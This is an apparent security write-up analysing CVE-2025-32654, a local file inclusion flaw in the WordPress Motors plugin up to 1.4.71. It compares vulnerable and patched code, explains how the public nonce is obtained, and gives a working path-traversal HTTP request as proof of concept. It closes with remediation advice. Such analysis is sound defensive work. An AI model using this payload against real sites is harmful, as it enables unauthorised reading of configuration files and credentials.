CVE-2025-32654 Analysis & POC

1 CVE & Basic Info
The Motors plugin, version ≤ 1.4.71, contains a Local File Inclusion (LFI) vulnerability that allows an unauthenticated attacker to control a file parameter in an include/require
statement, thereby injecting or reading local files on the server (e.g., configuration files containing credentials). This can lead to sensitive information disclosure, and under certain configurations, remote code execution.
- CVE ID: CVE-2025-32654
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 1.4.71
- Patched Versions: 1.4.72
- CVSS Severity: High (8.1)
- Required Privilege: Unauthenticated
- Product: WordPress Motors Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions – Motors: 1.4.71 (vulnerable) and 1.4.72 (patched).
- Diff tool – Meld or any other comparison (diff) tool to inspect and compare differences between two versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
public static function motors_ew_grid_tabs() {
$template = sanitize_text_field( $_POST['template'] );
// other logic
}
The vulnerable code only sanitizes HTML characters using sanitize_text_field()
, without restricting paths — thus an attacker can inject ../
or any filename, leading to LFI.
Patched version:
public static function motors_ew_grid_tabs() {
$allowed_templates = array(
'listing-cars/listing-grid-directory-loop-4',
'listing-cars/listing-grid-directory-loop-3',
'listing-cars/listing-grid-directory-loop',
);
$template = 'listing-cars/' . ( isset( $_POST['template'] ) ? sanitize_file_name( $_POST['template'] ) : '' );
if ( ! in_array( $template, $allowed_templates, true ) ) {
wp_send_json_error( 'Invalid template' );
return;
}
// other logic
}
The patch applies sanitize_file_name()
along with a whitelist to validate input, effectively neutralizing any possible exploitation through the template
parameter.
3.2 Vulnerable Code
The function motors_ew_grid_tabs()
is registered as a callback for the action hook "grid_tabs_widget"
via:
add_action( 'wp_ajax_nopriv_grid_tabs_widget', array( self::class, 'motors_ew_grid_tabs' ) );
The prefix wp_ajax_nopriv_
indicates that this action does not require user authentication to trigger the AJAX endpoint.
Therefore, the endpoint can be publicly accessed through:
/wp-admin/admin-ajax.php?action=grid_tabs_widget
When invoked, motors_ew_grid_tabs()
is executed:
public static function motors_ew_grid_tabs() {
check_ajax_referer( 'motors_grid_tabs', 'security' );
$listing_types = apply_filters( 'stm_listings_post_type', 'listings' );
$tab_type = sanitize_text_field( $_POST['tab_type'] );
$per_page = intval( $_POST['per_page'] );
$template = sanitize_text_field( $_POST['template'] );
$img_size = sanitize_text_field( $_POST['img_size'] );
$args = array(
'post_type' => $listing_types,
'post_status' => 'publish',
'posts_per_page' => $per_page,
);
if ( 'popular' === $tab_type ) {
$args = array_merge(
$args,
array(
'orderby' => 'meta_value_num',
'meta_key' => 'stm_car_views',
'order' => 'DESC',
)
);
}
$args['meta_query'][] = array(
'key' => 'car_mark_as_sold',
'value' => '',
'compare' => '=',
);
$template_args = array();
if ( ! empty( $img_size ) ) {
$template_args = array(
'custom_img_size' => $img_size,
);
}
$listings_query = new WP_Query( $args );
if ( $listings_query->have_posts() ) {
$output = '';
ob_start();
while ( $listings_query->have_posts() ) {
$listings_query->the_post();
do_action( 'stm_listings_load_template', $template, $template_args );
}
$output .= ob_get_clean();
}
wp_send_json(
array(
'html' => $output,
)
);
}
At the beginning of motors_ew_grid_tabs()
, this line:
check_ajax_referer( 'motors_grid_tabs', 'security' );
performs a nonce validation to protect against CSRF (Cross-Site Request Forgery).
If the nonce provided by the client is invalid or missing, the function halts further AJAX processing — meaning all subsequent logic (handling $template
, post query, and HTML rendering) will not execute.
public static function motors_create_nonce() {
$grid_tabs_widget = wp_create_nonce( 'motors_grid_tabs' );
// other logic
wp_localize_script(
'jquery',
'mew_nonces',
array(
'motors_grid_tabs' => $grid_tabs_widget,
// other logic
)
);
}
The function motors_create_nonce()
generates the nonce for 'motors_grid_tabs'
using wp_create_nonce()
and exposes it to JavaScript via wp_localize_script()
under the variable mew_nonces.motors_grid_tabs
.
Because this vulnerability is unauthenticated, the nonce is not visible in the admin area.
Instead, after installing the plugin with all dependencies, open the homepage, then search the page source for the keyword motors_grid_tabs
to find the required nonce value.

Nonce value shown in browser source
Additionally, the homepage source contains a JavaScript snippet that automatically triggers the AJAX call to the endpoint in focus:
/wp-admin/admin-ajax.php?action=grid_tabs_widget
when the page loads:
<script>
(function($) {
$(document).ready(function() {
$.ajax({
type: "POST",
url: ajaxurl,
dataType: 'json',
async: true,
data: 'action=grid_tabs_widget&tab_type=popular&per_page=8&template=listing-cars/listing-grid-directory-loop-4&img_size=&security=' + mew_nonces.motors_grid_tabs,
success: function(data) {
if( data.hasOwnProperty('html') ) $('#popular-tab-content').html(data.html);
updateGridItemTitles();
},
});
});
})(jQuery)
</script>
This script executes automatically because it’s inside $(document).ready()
, so jQuery runs it when the page finishes loading.
Leveraging this, we can reload the homepage and intercept the AJAX request using BurpSuite to capture the required parameters.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
...
action=grid_tabs_widget&tab_type=popular&per_page=8&template=listing-cars/listing-grid-directory-loop-4&img_size=&security=d15dd83890
We then place a breakpoint in motors_ew_grid_tabs()
right before the response is sent:
ob_start();
while ( $listings_query->have_posts() ) {
$listings_query->the_post();
do_action( 'stm_listings_load_template', $template, $template_args );
}
$output .= ob_get_clean();
This block generates the dynamic HTML content:
ob_start()
initializes the output buffer.- The
while
loop iterates over queried posts and callsdo_action( 'stm_listings_load_template', $template, $template_args )
to render each item using the chosen template. ob_get_clean()
retrieves and clears the buffer, assigning the result to$output
.
👉 As a result, $output
contains all rendered HTML ready to be returned to the client.
When the request is replayed and inspected in the debugger:

Debugger stepping through post retrieval logic
We see that with the default parameters sent by the plugin, $listings_query->have_posts()
is true, thus the hook stm_listings_load_template
executes and processes $template
.
The hook is registered with a callback of the same name:
function stm_listings_load_template( $__template, $__vars = array() ) {
extract( $__vars );
include stm_listings_locate_template( $__template );
}
add_action( 'stm_listings_load_template', 'stm_listings_load_template', 10, 2 );
The include
statement is the LFI sink.
Analyzing stm_listings_locate_template()
reveals what path is being included — allowing us to craft our payload.
function stm_listings_locate_template( $templates ) {
$located = false;
foreach ( (array) $templates as $template ) {
if ( substr( $template, - 4 ) !== '.php' ) {
$template .= '.php';
}
if ( str_contains( $template, 'partials/' ) ) {
$located = locate_template( $template );
} else {
$located = locate_template( 'listings/' . $template );
}
if ( ! ( $located ) ) {
if ( file_exists( realpath( apply_filters( 'stm_listings_template_file', STM_LISTINGS_PATH, $template ) . '/templates/' . $template ) ) ) {
$located = realpath( apply_filters( 'stm_listings_template_file', STM_LISTINGS_PATH, $template ) . '/templates/' . $template );
}
}
if ( file_exists( $located ) ) {
break;
}
}
return apply_filters( 'stm_listings_locate_template', $located, $templates );
}
This function iterates over $templates
to locate a valid template path:
Appends
.php
if missing.If the path contains
'partials/'
, it callslocate_template( $template )
.Otherwise, it looks inside
'listings/'
.If still not found, it checks directly inside the plugin path:
STM_LISTINGS_PATH . '/templates/' . $template
Once a valid file is found, the loop breaks and returns that path.
locate_template()
is a WordPress core function that searches the active theme for the given template file. If found, it returns the full path; otherwise, it returns an empty string — meaning we need to reference an existing file.
👉 The result is returned via the filter stm_listings_locate_template
as $locate
.

No filter registered for stm_listings_locate_template
No filters are registered for this hook, meaning $locate
is returned unchanged.
Therefore, the conditions required for exploitation are:
- The
template
parameter includespartials/
orlistings/
. - Sufficient
../
traversal so thatlocate_template()
returns empty butinclude
does not error when the path exists.
4 Exploit
4.1 Proof of Concept (PoC)
- Add a simple test code to
wp-config.php
:
<?php
echo "payload"
- Send a POST request containing the LFI payload:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
...
action=grid_tabs_widget&tab_type=popular&per_page=8&template=/partials/../../../../../payload&img_size=&security=d15dd83890
Result:

Successful LFI result
5 Conclusion
CVE-2025-32654 is an LFI vulnerability in Motors ≤ 1.4.71, caused by an unsanitized template
parameter that allows path traversal and arbitrary include()
calls.
The public endpoint (wp_ajax_nopriv_
) and nonce exposed in the front-end make it easily exploitable.
It was patched in v1.4.72 by normalizing file names and validating them against a whitelist.
6 Key takeaways
- Never use raw user input to construct file paths for
include
. - Always enforce a whitelist of valid templates/paths.
- Normalize (e.g.
sanitize_file_name()
/sanitize_key()
), and userealpath()
to ensure paths remain within the intended directory. - For public endpoints, strictly validate inputs — don’t rely solely on nonce protection.
7 References
File Inclusion/Path traversal — HackTricks
WordPress Motors Plugin <= 1.4.71 is vulnerable to Local File Inclusion